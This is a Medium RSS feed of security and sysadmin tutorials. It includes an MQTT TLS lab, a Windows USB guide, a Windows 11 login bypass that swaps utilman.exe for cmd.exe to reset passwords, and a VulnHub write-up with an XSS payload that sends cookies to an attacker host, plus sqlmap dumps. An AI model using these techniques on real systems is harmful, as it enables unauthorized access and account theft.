<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Debanjan Kotal on Medium]]></title>
        <description><![CDATA[Stories by Debanjan Kotal on Medium]]></description>
        <link>https://medium.com/@thack4010?source=rss-d8061c28554------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ktWfSMJDUIVOkJyQnOSCAA.jpeg</url>
            <title>Stories by Debanjan Kotal on Medium</title>
            <link>https://medium.com/@thack4010?source=rss-d8061c28554------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 04:53:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thack4010/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Setting Up an MQTT Broker With TLS 1.2, TLS 1.3, or No TLS (Mosquitto on Kali Linux)]]></title>
            <link>https://medium.com/@thack4010/setting-up-an-mqtt-broker-with-tls-1-2-tls-1-3-or-no-tls-mosquitto-on-kali-linux-cce6d0e81720?source=rss-d8061c28554------2</link>
            <guid isPermaLink="false">https://medium.com/p/cce6d0e81720</guid>
            <category><![CDATA[mqtt-testing]]></category>
            <category><![CDATA[mosquitto-mqtt]]></category>
            <dc:creator><![CDATA[Debanjan Kotal]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 07:47:44 GMT</pubDate>
            <atom:updated>2026-03-13T07:48:30.586Z</atom:updated>
            <content:encoded><![CDATA[<p>The setup is commonly used when testing IoT devices such as industrial gateways like the Festo CPX-IOT Gateway.</p><p>This guide demonstrates how to build an MQTT test environment for IoT security testing. You will configure three modes:</p><ul><li>Plain MQTT (no encryption)</li><li>MQTT over TLS 1.2</li><li>MQTT over TLS 1.3</li></ul><h3>1. Environment Setup</h3><p>Test Network Example</p><pre>MQTT Broker (Kali Linux) : 10.10.20.75<br>IoT Device / Client      : 10.10.20.61</pre><p>Default MQTT ports:</p><pre>1883 → Plain MQTT<br>8883 → MQTT over TLS</pre><h3>2. Install Required Dependencies</h3><p>Update the system and install Mosquitto and required utilities.</p><pre>sudo apt update<br>sudo apt install mosquitto mosquitto-clients openssl net-tools tcpdump -y</pre><p>Verify installation:</p><pre>mosquitto -h</pre><h3>3. Start and Manage the MQTT Service</h3><p>Start the broker:</p><pre>sudo systemctl start mosquitto<br>sudo systemctl status mosquitto</pre><p>Stop service (after completing the test) :</p><pre>sudo systemctl stop mosquitto</pre><h3>4. Basic MQTT Setup (No TLS)</h3><p>Edit configuration:</p><pre>sudo nano /etc/mosquitto/mosquitto.conf</pre><p>Minimal configuration:</p><pre>listener 1883<br>allow_anonymous true</pre><p>Restart the broker:</p><pre>sudo systemctl restart mosquitto</pre><p>Verify port:</p><pre>ss -lntp | grep 1883</pre><h3>5. Test Plain MQTT</h3><p>Subscriber:</p><pre>mosquitto_sub -h 127.0.0.1 -t &quot;#&quot;</pre><p>Publisher:</p><pre>mosquitto_pub -h 127.0.0.1 -t test/topic -m &quot;Hello MQTT&quot;</pre><p>If working, the subscriber prints:</p><pre>Hello MQTT</pre><h3>6. Configure Authentication</h3><p>Create a password file:</p><pre>sudo mosquitto_passwd -c /etc/mosquitto/passwd mqttuser</pre><p>Edit config:</p><pre>listener 1883<br>allow_anonymous false<br>password_file /etc/mosquitto/passwd</pre><p>Restart:</p><pre>sudo systemctl restart mosquitto</pre><p>Test:</p><pre>mosquitto_sub -h localhost -t &quot;#&quot; -u mqttuser -P password</pre><h3>7. Generate TLS Certificates</h3><p>Create directory:</p><pre>sudo mkdir -p /etc/mosquitto/certs<br>cd /etc/mosquitto/certs</pre><p>Create Certificate Authority</p><pre>sudo openssl genrsa -out ca.key 2048</pre><pre>sudo openssl req -new -x509 -days 3650 \<br>-key ca.key \<br>-out ca.crt \<br>-subj &quot;/CN=MQTT-LAB-CA&quot;</pre><p>Create Broker Private Key</p><pre>sudo openssl genrsa -out server.key 2048</pre><p>Generate Certificate Signing Request</p><pre>sudo openssl req -new \<br>-key server.key \<br>-out server.csr \<br>-subj &quot;/CN=10.10.20.75&quot;</pre><p>Sign Broker Certificate</p><pre>sudo openssl x509 -req \<br>-in server.csr \<br>-CA ca.crt \<br>-CAkey ca.key \<br>-CAcreateserial \<br>-out server.crt \<br>-days 365</pre><h3>8. Fix Certificate Permissions</h3><p>Mosquitto runs as user <strong>mosquitto</strong>.</p><pre>sudo chown -R mosquitto:mosquitto /etc/mosquitto/certs</pre><pre>sudo chmod 600 /etc/mosquitto/certs/server.key<br>sudo chmod 644 /etc/mosquitto/certs/server.crt<br>sudo chmod 644 /etc/mosquitto/certs/ca.crt</pre><h3>9. Configure MQTT With TLS</h3><p>Edit configuration:</p><pre>sudo nano /etc/mosquitto/mosquitto.conf</pre><p>Basic TLS configuration:</p><pre>listener 8883<br><br>cafile /etc/mosquitto/certs/ca.crt<br>certfile /etc/mosquitto/certs/server.crt<br>keyfile /etc/mosquitto/certs/server.key<br><br>allow_anonymous false<br>password_file /etc/mosquitto/passwd</pre><p>Restart service:</p><pre>sudo systemctl restart mosquitto</pre><h3>10. Enforce TLS Version</h3><p>Mosquitto allows restricting TLS versions.</p><p>TLS 1.2 Only</p><pre>tls_version tlsv1.2</pre><p>TLS 1.3 Only</p><pre>tls_version tlsv1.3</pre><p>Restart after modification:</p><pre>sudo systemctl restart mosquitto</pre><p>11. Verify TLS Configuration</p><p>Test TLS 1.3:</p><pre>openssl s_client -connect 10.10.20.75:8883 -tls1_3</pre><p>Expected:</p><pre>Protocol : TLSv1.3</pre><p>Test TLS 1.2:</p><pre>openssl s_client -connect 10.10.20.75:8883 -tls1_2</pre><p>If TLS 1.3 is enforced, TLS 1.2 should fail.</p><h3>12. Test MQTT Over TLS</h3><p>Subscriber:</p><pre>mosquitto_sub \<br>-h 10.10.20.75 \<br>-p 8883 \<br>--cafile /etc/mosquitto/certs/ca.crt \<br>-u mqttuser \<br>-P password \<br>-t &quot;#&quot;</pre><p>Publisher:</p><pre>mosquitto_pub \<br>-h 10.10.20.75 \<br>-p 8883 \<br>--cafile /etc/mosquitto/certs/ca.crt \<br>-u mqttuser \<br>-P password \<br>-t test \<br>-m &quot;Secure MQTT&quot;</pre><p>13. Capture Traffic for Verification</p><p>Use <strong>Wireshark</strong> or tcpdump.</p><p>Capture filter:</p><pre>tcp.port == 8883</pre><p>During TLS negotiation you should see:</p><pre>Client Hello<br>Server Hello<br>Certificate<br>Application Data</pre><h3>14. Troubleshooting</h3><p>Mosquitto Service Fails</p><p>Check logs:</p><pre>journalctl -xeu mosquitto.service</pre><p>Password File Error</p><p>Fix permissions:</p><pre>sudo chown mosquitto:mosquitto /etc/mosquitto/passwd<br>sudo chmod 600 /etc/mosquitto/passwd</pre><p>TLS Handshake Failure</p><p>Check certificate paths:</p><pre>cafile<br>certfile<br>keyfile</pre><p>Verify Listening Ports</p><pre>ss -lntp</pre><p>Expected:</p><pre>0.0.0.0:1883<br>0.0.0.0:8883</pre><p>Fix permissions:</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cce6d0e81720" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Create a Windows 11/10 Bootable Drive Without Third-Party Tools (PowerShell Guide)]]></title>
            <link>https://medium.com/@thack4010/how-to-create-a-windows-11-bootable-drive-without-third-party-tools-powershell-guide-2a363d02440a?source=rss-d8061c28554------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a363d02440a</guid>
            <category><![CDATA[bootable-media]]></category>
            <category><![CDATA[windows-10-bootable]]></category>
            <category><![CDATA[windows-bootable-usb]]></category>
            <category><![CDATA[windows-11-bootable-media]]></category>
            <dc:creator><![CDATA[Debanjan Kotal]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 06:01:56 GMT</pubDate>
            <atom:updated>2026-02-12T06:14:47.756Z</atom:updated>
            <content:encoded><![CDATA[<p>Most bootable USB tools (like Rufus or Media Creation Tool) force you to wipe your entire external drive just to create a Windows installer. If you have a 1TB external hard drive with data on it, you don’t want to lose everything just to make a 10GB bootable partition.</p><p>This guide shows you how to create a pristine, UEFI-bootable Windows 11 (or 10) partition manually. We will use the standard Windows File Explorer for the files and a single PowerShell command to bypass the “File Too Large” error.</p><h3>Prerequisites</h3><ul><li><strong>Windows 10/11 ISO file</strong> (Download from Microsoft).</li><li><strong>External Drive</strong> with a FAT32 partition (at least 8GB) ready.</li><li><strong>Local Disk (C:)</strong> with some free space for temporary files.</li></ul><h3>Step 1: Mount the ISO</h3><p>Instead of burning the ISO, we will just open it like a folder.</p><ol><li>Navigate to your downloaded <strong>Windows ISO</strong> file.</li><li><strong>Right-click</strong> the file and select <strong>Mount</strong>.</li></ol><p>or,</p><pre>Mount-DiskImage -ImagePath &quot;C:\Path\To\Your\Windows11.iso&quot;</pre><p>3. Windows will open it as a virtual DVD drive (e.g., Drive F:).</p><h3>Step 2: Copy the “Base” Files (GUI Method)</h3><p>We need to copy the Windows files to your external drive partition. However, the main installation file is often too large for FAT32 drives, so we will skip it for now.</p><ol><li>Open the mounted ISO drive.</li><li>Select <strong>ALL</strong> files and folders <strong>EXCEPT</strong> the sources folder.</li><li><strong>Copy</strong> them and <strong>Paste</strong> them into your external USB partition (e.g., Drive X:).</li><li>On your USB partition (X:), create a new empty folder named <strong>sources</strong>.</li><li>Go back to the ISO drive, open the <strong>sources</strong> folder.</li><li>Select everything inside <strong>EXCEPT</strong> the massive file named install.wim (or install.esd).</li><li><strong>Copy</strong> these small files and <strong>Paste</strong> them into the sources folder on your USB drive.</li></ol><p><em>At this point, your USB has the bootloader and structure, but it is missing the actual Windows image.</em></p><h3>Step 3: Handle the “Giant File” (The Magic Step)</h3><p>The install.wim or install.esd file inside the ISO is usually over 5GB. FAT32 partitions cannot hold files larger than 4GB. To fix this, we will convert and split the file using Windows PowerShell.</p><ol><li><strong>Create a Temp Folder</strong> Open your <strong>C: drive</strong> and create a new folder named temp. Open PowerShell as Admin.</li></ol><pre>New-Item -ItemType Directory -Force -Path &quot;C:\temp&quot;</pre><p><strong>2. Convert and Export (If you have install.esd)</strong> <em>Most consumer ISOs use </em><em>.esd which cannot be split directly. We must convert it to a </em><em>.wim on your C: drive first.</em></p><pre>dism /Export-Image /SourceImageFile:&quot;F:\sources\install.esd&quot; /SourceIndex:1 /DestinationImageFile:&quot;C:\temp\install.wim&quot; /Compress:max /CheckIntegrity</pre><p>Wait for this to reach 100%.</p><p>3. <strong>Split the File to USB</strong> Now, we take that converted file from your C: drive and slice it into smaller pieces directly onto your USB drive.</p><p>Run this command (Replace X: with your USB partition letter):</p><pre>dism /Split-Image /ImageFile:&quot;C:\temp\install.wim&quot; /SWMFile:&quot;X:\sources\install.swm&quot; /FileSize:3800</pre><h3>Step 4: Final Cleanup</h3><ol><li>Go to your USB drive (X:\sources\). You should see two files: install.swm and install2.swm.</li><li>You can now delete the temporary file on your computer (C:\temp\install.wim).</li></ol><pre>Remove-Item &quot;C:\temp\install.wim&quot;</pre><p><strong>3. Eject</strong> your external drive safely.</p><h3>Step 5: Troubleshooting (If the Drive Says “Corrupted”)</h3><p>If you unplug the drive and plug it back in, you might see an error saying <strong>“The file or directory is corrupted and unreadable”</strong> or Windows might ask you to format the disk.</p><p><strong>DO NOT FORMAT THE DISK.</strong> This usually happens because the drive was unplugged before Windows finished writing the file system data (FAT32 is very sensitive to this). The data is still there; the “index” is just slightly messy.</p><p><strong>The Fix:</strong></p><ol><li>Open <strong>Command Prompt</strong> as Administrator.</li><li>Run the Check Disk command (Replace X: with your USB partition letter):</li></ol><pre>chkdsk X: /f</pre><p><strong>3. What to do next:</strong></p><ul><li>If it asks to “force a dismount,” type <strong>Y</strong> and hit Enter.</li><li>Windows will scan the partition, find the “dirty bit” or loose file chains, and fix them instantly.</li><li>Once it says “Windows has made corrections to the file system,” you can open your drive again. All your files will be there.</li></ul><p><strong>Pro Tip:</strong> Always use the “Safely Remove Hardware” icon in the taskbar before unplugging your drive to avoid this error!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a363d02440a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Login Bypass in Windows 11]]></title>
            <link>https://medium.com/@thack4010/login-bypass-in-windows-11-cfd93f70f6cc?source=rss-d8061c28554------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfd93f70f6cc</guid>
            <category><![CDATA[windows-11-hack]]></category>
            <category><![CDATA[bypass-windows-password]]></category>
            <dc:creator><![CDATA[Debanjan Kotal]]></dc:creator>
            <pubDate>Fri, 15 Sep 2023 06:45:36 GMT</pubDate>
            <atom:updated>2023-09-15T07:09:55.452Z</atom:updated>
            <content:encoded><![CDATA[<h3>by Debanjan Kotal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*JB-37zOrs1PPaQjuk3mJEQ.png" /></figure><p>After going through the article you will be able to bypass the windows 11 login. Means you can login anyone’s windows 11 machine without knowing their system’s password. Sounds cool right! In this process we don’t extract or crack the user’s existing password. What we do that is changing the password.</p><p>When We open a windows 11 machine, a screen, something like bellow will appear, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4Xpv5-TND0yZ1t7d9KpqA.png" /><figcaption>image: 01</figcaption></figure><p>Then What we always do, just press <strong>ENTER</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4Go0RS8M0owxIG0XZwuEg.png" /><figcaption>image: 02</figcaption></figure><p>In this screen, we always put the password. But for now this is not our goal. If we see at the bottom right corner, there is a “<strong>Accessibility</strong>” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*xoVzCxnv_XxOY8YjF-ko5A.png" /><figcaption>image: 03</figcaption></figure><p>When we click on it, a windows executable file called “<strong>utinman.exe</strong>” is executed. This will going to be our target. Our aim is to replace the executable file behind this with “<strong>cmd.exe</strong>”. To do this we will follow the behind steps.</p><p>First we need to open the “<strong>Windows Troubleshot</strong>” options. To open this at the password screen, we need to <strong>press and hold</strong> the “<strong>shift</strong>” key in you keyboard and do a restart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8oIj2703JaRk4FjHE0HUpA.png" /><figcaption>image: 04</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*mj_2x96jA57vxsGJmuaDaQ.png" /><figcaption>image: 05</figcaption></figure><p>Click on <strong>Restart</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0iV_OFgApA-IcxZrU5Trvg.png" /><figcaption>image: 06</figcaption></figure><p>Now click on <strong>Restart anyway </strong>and don’t leave the shift key yet, keep holding it. After few minutes a new screen will open. Now we can leave the <strong>shift</strong> key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jpCsJpcoFUQcuWHiMWTrw.png" /><figcaption>image: 07</figcaption></figure><p>Here click on “<strong>Troubleshoot”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NkBjqTmSSm4P22r4FWWscQ.png" /><figcaption>image: 08</figcaption></figure><p>Now click on “<strong>Advance options</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jF5qZm5fZMG-JIrDa-6pww.png" /><figcaption>image: 09</figcaption></figure><p>Now click on “<strong>Command Prompt</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hf8A40bpkZV-dSzOysHKQQ.png" /><figcaption>image: 10</figcaption></figure><p>Here first we need to find the particular disk where the “<strong>Windows</strong>” folder is located. To find all the present disk use this command.</p><blockquote><strong>wmic logicaldisk get name</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R354MRs4X9MrWMEjc3R1mA.png" /><figcaption>image: 11</figcaption></figure><p>In my case the “<strong>Windows</strong>” folder is in <strong>C:</strong> disk which is the common place for all. But if you don’t find the “<strong>Windows” </strong>folder there you should check all present disks.</p><p>So, let’s enter the C: disk and see what is inside there, use this command.</p><blockquote><strong>C:</strong></blockquote><blockquote><strong>dir</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwexiFiB7-Pi7XgvAQJB-Q.png" /><figcaption>image: 12</figcaption></figure><p>Now enter to the “<strong>System32</strong>&quot; folder.</p><blockquote><strong>cd Windows/System32</strong></blockquote><p>As per our previous plan let’s do fun with “<strong>utilman.exe</strong>”. First we rename the “<strong>utilman.exe</strong>” with “<strong>utilman2.exe</strong>”. Use this command.</p><blockquote><strong>ren utilman.exe utilman2.exe</strong></blockquote><p>Now copy the “<strong>cmd.exe</strong>” by the name “<strong>utilman.exe</strong>”.</p><blockquote><strong>copy cmd.exe utilman.exe</strong></blockquote><p>That means whenever “<strong>utilman.exe</strong>” will run, our “<strong>cmd.exe</strong>” will be executed. Because now our <strong>“cmd.exe”</strong> and “<strong>utilman.exe</strong>” are same file with different name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NRQInKBs8Bf766ixD_Q0Jw.png" /><figcaption>image: 13</figcaption></figure><p>Then just type “exit”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCeeEme3BZV5xvMNbNfbsA.png" /><figcaption>image: 14</figcaption></figure><p>Now click on <strong>Continue</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OhtT5xVeLTx72rgC2ELbwg.png" /><figcaption>image: 15</figcaption></figure><p>So, this our login screen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4Go0RS8M0owxIG0XZwuEg.png" /><figcaption>image: 16</figcaption></figure><p>Now click on the <strong>Accessibility </strong>button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_4l1OPZ7636O_DMZzO6RQ.png" /><figcaption>image: 17</figcaption></figure><p>As we click, cmd will open with administrative privilege. Here we can do anything we want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2YmhqXuwkuhdf6GHN-DMQ.png" /><figcaption>image: 18</figcaption></figure><p>Now we will change the password of exiting user. If we don’t now the username we can check if by visiting the Users folder.</p><blockquote><strong>cd C:\Users</strong></blockquote><blockquote><strong>dir</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*oDZVWdaTtx_mlkwg39jphA.png" /><figcaption>image: 19</figcaption></figure><p>Here we can found all the user present in this system. Let’s change the password of our target user.</p><blockquote><strong>net user &lt;user_name&gt; &lt;new_password&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9CZWCGduABxDts031J-hA.png" /><figcaption>image: 20</figcaption></figure><p>In this case we set our password as “752852952”. Let’s login with our new password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVlVAWNxBkL0EcQsiJUY1w.png" /><figcaption>image: 21</figcaption></figure><p>As we click enter now, see will successfully bypass the windows 11 login screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CI-BzQGBUFL2IxdaMxxEnQ.png" /><figcaption>image: 22</figcaption></figure><p>But we are not done yet. After hacking we should make the system as before. So change the <strong>utilman.exe</strong> back to the original. To do that we have to go through windows terminal by run as administrator. If we are unable to make changes from there we have to go to the boot terminal again, as shows in <strong>image: 10</strong>.</p><p>Then delete the <strong>utilman.exe</strong> and rename the <strong>utilman2.exe</strong> to <strong>utilman.exe</strong>.</p><blockquote><strong>cd C:\Windows\System32</strong></blockquote><p>Not necessary if we are already in System32 directory.</p><blockquote><strong>del utilman.exe</strong></blockquote><blockquote><strong>ren utilman2.exe utilman.exe</strong></blockquote><p>If in case you accidentally delete the utilman.exe file, here is a gift for you. Download it from <a href="https://drive.google.com/file/d/1OCXNhlOS1pwZQ57J541nMjirH6JwUSa9/view?usp=sharing">here</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfd93f70f6cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MyExpense: 1 write up by Debanjan Kotal]]></title>
            <link>https://medium.com/@thack4010/myexpense-1-write-up-by-debanjan-kotal-2ce3a92d0ab4?source=rss-d8061c28554------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ce3a92d0ab4</guid>
            <dc:creator><![CDATA[Debanjan Kotal]]></dc:creator>
            <pubDate>Sun, 05 Feb 2023 06:00:47 GMT</pubDate>
            <atom:updated>2023-02-05T06:00:47.984Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Mn6JrNL2OERsviLRrndkig.png" /></figure><ol><li>Credentials:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*mb4XaZ-SNm58EklRlyPRTw.png" /></figure><p>Before starting the lab I got some credentials from the description of vulnhub. Such as</p><p>Username : samuel</p><p>Password: fzghn4lw</p><p>2. Discovering IP: After downloading and installing the MyExpense1.ova file I use netdiscover tool to discover the machine IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*Ua0ZrDmEe_F_7XoOBXT91g.png" /></figure><p>So our our target IP is <strong>192.168.0.106</strong></p><p>3. Scanning: I use nmap to scan the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*uks5rOCrA1L36yzDKmV0HA.png" /></figure><p>Here I can see port 80 is opened and http service is running on it. So opened this service in browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*FMmaeLVtnn0Zz2sU0e9Iuw.png" /></figure><p>Now going to the page <strong>/admin/admin.php</strong> which I got from the nmap scan results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*hxnbiRdq5PDge6qrOXIlng.png" /></figure><p>Here I see the user samuel is inactive. And when I tried to login with slamotte/fzghn4lw, getting a error. “Your account has been locked or is inactive. Please contact the administrator team.”</p><p>And when I tried to activate the “slamotte” user , got this error. Here the url is interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*D1DYSoWQoZwamMNrponc9g.png" /></figure><p>4. Find and exploit XSS:</p><p>Then I click to “Don’t have a Account” button and create a new account. Here in the <strong>fast name</strong> and the <strong>last name </strong>I put &lt;script&gt;alert(“hacked”)&lt;/script&gt; and enabled the “Sine up!” button. After doing this when I go to the <a href="http://192.168.0.106/admin/admin.php">http://192.168.0.106/admin/admin.php</a> page I find a pop up message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*nRJliBah62UdtrvUKUBVAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*XGgPvdON1pjEwTCJVIq8ig.png" /></figure><p>So now I can activate our slamotte user by exploiting xss. For this I use this script</p><p>&lt;script&gt;document.write(‘&lt;img src=”http://192.168.0.106/admin/admin.php?id=11&amp;status=active&quot;/&gt;&#39;);&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*AF1ShJT7g1n-c9sGDomEnw.png" /></figure><p>Now our slamotte user is active. Let log in as slamotte.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*5aeAo9chIQCtlKdK1G2y5w.png" /></figure><p>After login successfully I need to submit the expense report as described.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*YV-h-h5r6RF-hsoX9p-YEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*4yFstKp0YhUspVMb482Ybg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*4iDheBAqUM7Qs53DWLA_Iw.png" /></figure><p>In the <a href="http://192.168.0.106/">http://192.168.0.106/</a> there has a comment input box. Checking is there XSS exist or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*vDv7L7yAbFWtyo0kt8iZ5w.png" /></figure><p>Typing here &lt;script&gt;alert(document.cookie)&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*rRDJgJjT3dSSTQ-7aEHldA.png" /></figure><p>Yes here has a XSS. Now I want to get access of the manager account. So I have to stile the cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*68WdV2b09_NEhYQd4HBlFw.png" /></figure><p>After creating this I just put this payload in message box.</p><p>&lt;script&gt;new Image().src=”http://192.168.0.104/1.php?c=&quot;+document.cookie;&lt;/script&gt;</p><p>And Also in my Linux machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*TvCRIlBVYT2YW_4JmgmMfA.png" /></figure><p>Here I get so many cookies. I have to found which cookie is for the manager “Manon Riviere”.</p><p>And log is as Manon Riviere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*qReOD8CYhNvCkzqSQNEOVQ.png" /></figure><p>Yes I am now in Manon Riviere account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*jm079GRjuXvbbsLha_GD5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*ikZ29F1QHIRyx7sAjnCV-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*woZcYB6ptHqUaDZu1PHQhA.png" /></figure><p>But I don’t get the flag here. So trying something new.</p><p>5. SQL Injection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*rGTFnWC5ObK7_9RdH_93_g.png" /></figure><p>Here I get a id parameter. Let trying sql injection here.</p><p>In sqlmap</p><p>$ sqlmap -u <a href="http://192.168.0.106/site.php?id=2">http://192.168.0.106/site.php?id=2</a> — headers=”User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0&quot; — cookie=”PHPSESSID=7fofuunuou8pnaldfaicpco3o6&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*wyHtOlbiZW3u5fiNPeE4-Q.png" /></figure><p>This is all the tables.</p><p>$sqlmap -u <a href="http://192.168.0.106/site.php?id=2">http://192.168.0.106/site.php?id=2</a> — headers=”User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0&quot; — cookie=”PHPSESSID=7fofuunuou8pnaldfaicpco3o6&quot; — dump — tables -D myexpense — T expense</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*TqRadib0-FY5UybYoU__rQ.png" /></figure><p>The password of “pbaudouin” “64202ddd5fdea4cc5c2f856efef36e1a” . Lets crack this password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*ba6mw7ofJEA4_tiECkf4jw.png" /></figure><p>Now log in as Paul Baudouin using credentials <strong>pbaudouin/HackMe.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*lkZYE_yzW9qgfFWRicka6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*sOvw6vU_8f55U906Qk6Vsg.png" /></figure><p>Now submit both the report. And going to the “Samuel Lamotte” account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*UUCY3R_0lk2SEmI65BZT7g.png" /></figure><p>And I finally get the flag. <strong>Congratz ! The flag is : flag{H4CKY0URL1F3}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ce3a92d0ab4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSTI : Try Hack Me : walk-through]]></title>
            <link>https://medium.com/@thack4010/ssti-try-hack-me-walk-through-8783ab375591?source=rss-d8061c28554------2</link>
            <guid isPermaLink="false">https://medium.com/p/8783ab375591</guid>
            <dc:creator><![CDATA[Debanjan Kotal]]></dc:creator>
            <pubDate>Sat, 21 Jan 2023 08:59:17 GMT</pubDate>
            <atom:updated>2023-01-21T09:02:50.754Z</atom:updated>
            <content:encoded><![CDATA[<h3>SSTI : Try Hack Me : walk-through</h3><p>by Debanjan Kotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*5Luea3z_c63EB1zdbmyWtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0N9pReENruhRaMz6g3tCA.png" /></figure><h3>TASK: 1</h3><p>Opening site <a href="http://10.10.241.123:5000/">http://10.10.241.123:5000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dx2z4i3wHDnovSmjOYFgpg.png" /></figure><p>Getting a 404 error. For SSTI we can’t find any input parameter in this page, so we have to inject our code in URL or we have to find a hidden parameter in this website.</p><h3>TASK: 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hGc2b-6ehQeXP8IKDdx6UA.png" /></figure><p>As it is described go now go to this url <a href="http://10.10.241.123:5000/profile/Debanjan">http://10.10.241.123:5000/profile/Debanjan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*48ENNLyKi02NE03ReROqKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/155/1*TtEUHvaF2w_-VKuqssFT0g.png" /></figure><p>Now we need to fuzz “${{&lt;%[%’”}}%” these characters in this url <a 